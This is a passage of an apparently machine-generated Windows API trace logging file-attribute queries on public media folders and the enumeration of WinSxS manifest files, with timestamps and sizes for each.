ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab)) returned 1 [0130.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini" (normalized: "c:\\users\\public\\recorded tv\\sample media\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0xab)) returned 1 [0130.101] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000)) returned 1 [0130.102] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Recorded TV\\Sample Media\\win7_scenic-demoshort_raw.wtv" (normalized: "c:\\users\\public\\recorded tv\\sample media\\win7_scenic-demoshort_raw.wtv"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000)) returned 1 [0130.103] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1 [0130.103] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edd60 | out: lpFileInformation=0x1edd60*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x282dfaee, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x282dfaee, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28886f39, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c)) returned 1 [0130.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146)) returned 1 [0130.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\desktop.ini" (normalized: "c:\\users\\public\\videos\\sample videos\\desktop.ini"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x802f4656, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be12937, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x146)) returned 1 [0130.104] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a)) returned 1 [0130.105] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Videos\\Sample Videos\\Wildlife.wmv" (normalized: "c:\\users\\public\\videos\\sample videos\\wildlife.wmv"), fInfoLevelId=0x0, lpFileInformation=0x1edcb0 | out: lpFileInformation=0x1edcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80282235, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bda0516, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be12937, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1907b8a)) returned 1 [0163.357] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-b..nager-efi.resources_31bf3856ad364e35_6.1.7600.16385_nl-nl_93d8d7e28ba5f11d\\*.*", lpFindFileData=0x1ed940 | out: lpFindFileData=0x1ed940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa87f1fe, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0xa87f1fe, ftLastAccessTime.dwHighDateTime=0x1ca0432, ftLastWriteTime.dwLowDateTime=0xa87f1fe, ftLastWriteTime.dwHighDateTime=0x1ca0432, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0164.694] FindFirstFileW (in: lpFileName="C:\\Windows\\winsxs\\amd64_microsoft-windows-cdosys_31bf3856ad364e35_6.1.7601.17514_none_7c6c058f3c03e7a2\\*", lpFindFileData=0x1ed940 | out: lpFindFileData=0x1ed940*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8d151ca4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8d151ca4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8d151ca4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1c5bf0d0 [0186.867] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87fe29b0, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x87fe29b0, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x5e438857, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x2d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-installer_31bf3856ad364e35_6.1.7600.16385_none_3287c48fc9a440d9.manifest", cAlternateFileName="AM332A~1.MAN")) returned 1 [0186.867] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7ed3297e, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x14bc696c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x5e45e9b4, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x33a, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-installshield-wow64_31bf3856ad364e35_6.1.7600.16385_none_d0bf3aede4fc0ce9.manifest", cAlternateFileName="AM60E0~1.MAN")) returned 1 [0186.868] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f28da92, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7f28da92, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7af798ca, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x3c7, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-interface-explorer_31bf3856ad364e35_6.1.7600.16385_none_f17f09d0a545aa4c.manifest", cAlternateFileName="AM2CA6~1.MAN")) returned 1 [0186.868] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f28da92, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7f28da92, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x7af5376d, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x340, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-interface_31bf3856ad364e35_6.1.7600.16385_none_30a6199da946ef8a.manifest", cAlternateFileName="AM4B35~1.MAN")) returned 1 [0186.868] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e908352, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x7e908352, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x1476563, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x3d3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-international-core_31bf3856ad364e35_6.1.7600.16385_none_459f562ff37206dd.manifest", cAlternateFileName="AMA81F~1.MAN")) returned 1 [0186.869] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8bb18846, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xb6c708c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x4664d4f, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xae5, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-international-els-core_31bf3856ad364e35_6.1.7600.16385_none_e40beedb4e38dfc4.manifest", cAlternateFileName="AM5C9E~1.MAN")) returned 1 [0186.869] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6876b3b6, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x6876b3b6, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x68791516, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x62c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-international-els_31bf3856ad364e35_6.1.7601.17514_none_79a2b10c78cde004.manifest", cAlternateFileName="AM3E4D~1.MAN")) returned 1 [0186.869] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50f51d01, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x50f51d01, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x50f77e61, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x96f, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-international-nlsbuild_31bf3856ad364e35_6.1.7601.17514_none_f1f2ba311c97a977.manifest", cAlternateFileName="AMB2F5~1.MAN")) returned 1 [0186.869] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1a89941, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf20340b7, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf1a89941, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x89e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-intl.resources_31bf3856ad364e35_6.1.7600.16385_en-us_27043b464664f297.manifest", cAlternateFileName="AM471B~1.MAN")) returned 1 [0186.870] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f5ff259, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x7f5ff259, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x7f6253b9, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x4966, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-intl_31bf3856ad364e35_6.1.7601.17514_none_0b13ca622f588726.manifest", cAlternateFileName="AMB479~1.MAN")) returned 1 [0186.870] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf70de1ac, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf77476bf, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf70de1ac, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x89c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-iologgingdll.resources_31bf3856ad364e35_6.1.7600.16385_en-us_51002009f34329c7.manifest", cAlternateFileName="AM399A~1.MAN")) returned 1 [0186.870] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8626dbc2, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x8c501f0, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xd768ca88, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-iologgingdll_31bf3856ad364e35_6.1.7600.16385_none_12d2f7d41617efd8.manifest", cAlternateFileName="AM1F26~1.MAN")) returned 1 [0186.870] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0cabc0c, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf131511f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf0cabc0c, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x759, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ipconfig.resources_31bf3856ad364e35_6.1.7600.16385_en-us_23d220931769f95b.manifest", cAlternateFileName="AM735E~2.MAN")) returned 1 [0186.870] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b7d2a48, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0xa12c380, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xcaa23962, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xa19, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ipconfig_31bf3856ad364e35_6.1.7600.16385_none_a82ee2a7319fa8f8.manifest", cAlternateFileName="AMF31C~1.MAN")) returned 1 [0186.871] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4b97902, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf5273640, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf4b97902, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x85e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ipnat.resources_31bf3856ad364e35_6.1.7600.16385_en-us_403d5e98a5c3edc2.manifest", cAlternateFileName="AM1E12~1.MAN")) returned 1 [0186.871] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7dd93a59, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x10f6e730, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0x3e72ac46, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xb9c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-ipnat_31bf3856ad364e35_6.1.7600.16385_none_b70d093f950ce2cf.manifest", cAlternateFileName="AMF9E5~1.MAN")) returned 1 [0186.871] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d8bc809, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x3d8bc809, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0x3d92ec20, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0xbd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irda-sys_31bf3856ad364e35_6.1.7600.16385_none_a82ec3c4b06e94ef.manifest", cAlternateFileName="AM436B~1.MAN")) returned 1 [0186.871] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x813e66f0, ftCreationTime.dwHighDateTime=0x1cb892a, ftLastAccessTime.dwLowDateTime=0x813e66f0, ftLastAccessTime.dwHighDateTime=0x1cb892a, ftLastWriteTime.dwLowDateTime=0x8140c850, ftLastWriteTime.dwHighDateTime=0x1cb892a, nFileSizeHigh=0x0, nFileSizeLow=0x107c, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irdacoreprotocol_31bf3856ad364e35_6.1.7601.17514_none_462a9e44e01787f2.manifest", cAlternateFileName="AM63F0~1.MAN")) returned 1 [0186.872] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad945236, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x18f1f79c, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xadac1fd8, ftLastWriteTime.dwHighDateTime=0x1ca042a, nFileSizeHigh=0x0, nFileSizeLow=0x2013, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irdafiletransfer_31bf3856ad364e35_6.1.7600.16385_none_bb684a120148a438.manifest", cAlternateFileName="AM54B2~1.MAN")) returned 1 [0186.872] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4eb37b4a, ftCreationTime.dwHighDateTime=0x1ca042a, ftLastAccessTime.dwLowDateTime=0x4eb37b4a, ftLastAccessTime.dwHighDateTime=0x1ca042a, ftLastWriteTime.dwLowDateTime=0x604a7189, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irdafull_31bf3856ad364e35_6.1.7600.16385_none_a2ef78ccb3b76e1e.manifest", cAlternateFileName="AMBEEC~1.MAN")) returned 1 [0186.872] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa153689, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0x1d72b304, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa153689, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x3cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irdaircomm.resources_31bf3856ad364e35_6.1.7600.16385_en-us_552ff139ad4f66bd.manifest", cAlternateFileName="AM4C33~1.MAN")) returned 1 [0186.872] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8bbe088, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x192d9108, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf8be41e5, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xeb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irdaircomm_31bf3856ad364e35_6.1.7600.16385_none_84866db23e5a6f30.manifest", cAlternateFileName="AMAACC~1.MAN")) returned 1 [0186.873] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa179942, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa19fbfb, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irftp.resources_31bf3856ad364e35_6.1.7600.16385_en-us_92384f8bc335a75d.manifest", cAlternateFileName="AM5E17~1.MAN")) returned 1 [0186.873] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa2cd3d7, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19692a74, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa2f3534, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irftp_31bf3856ad364e35_6.1.7600.16385_none_b2af329397f29f60.manifest", cAlternateFileName="AM87F4~1.MAN")) returned 1 [0186.873] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c5eb4, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfa9acf01, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1c5eb4, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0xc3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irmon.resources_31bf3856ad364e35_6.1.7601.17514_en-us_989f4fc2dda9b16b.manifest", cAlternateFileName="AME6F3~2.MAN")) returned 1 [0186.873] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa1c2a4c, ftCreationTime.dwHighDateTime=0x1ca0428, ftLastAccessTime.dwLowDateTime=0x19692a74, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xfa1e8ba9, ftLastWriteTime.dwHighDateTime=0x1ca0428, nFileSizeHigh=0x0, nFileSizeLow=0xd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irmon_31bf3856ad364e35_6.1.7600.16385_none_b5fdf3dd95cd00ae.manifest", cAlternateFileName="AMEAC9~1.MAN")) returned 1 [0186.874] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf93293e2, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xf98ad89f, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xf93293e2, ftLastWriteTime.dwHighDateTime=0x1cbf8e9, nFileSizeHigh=0x0, nFileSizeLow=0x8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irprops.resources_31bf3856ad364e35_6.1.7600.16385_en-us_ebd600e27f8de6bf.manifest", cAlternateFileName="AM6D9A~1.MAN")) returned 1 [0186.874] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafdec3b8, ftCreationTime.dwHighDateTime=0x1ca0429, ftLastAccessTime.dwLowDateTime=0x19620390, ftLastAccessTime.dwHighDateTime=0x1cbf8e9, ftLastWriteTime.dwLowDateTime=0xb068d2ca, ftLastWriteTime.dwHighDateTime=0x1ca0429, nFileSizeHigh=0x0, nFileSizeLow=0x14ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="amd64_microsoft-windows-irprops_31bf3856ad364e35_6.1.7600.16385_none_fd9849018af02144.manifest", cAlternateFileName="AM8735~1.MAN")) returned 1 [0186.874] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1ed990 | out: lpFindFileData=0x1ed990*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd6da7f8, ftCreationTime.dwHighDateTime=0x1cbf8e9, ftLastAccessTime.dwLowDateTime=0xfdf805e2, 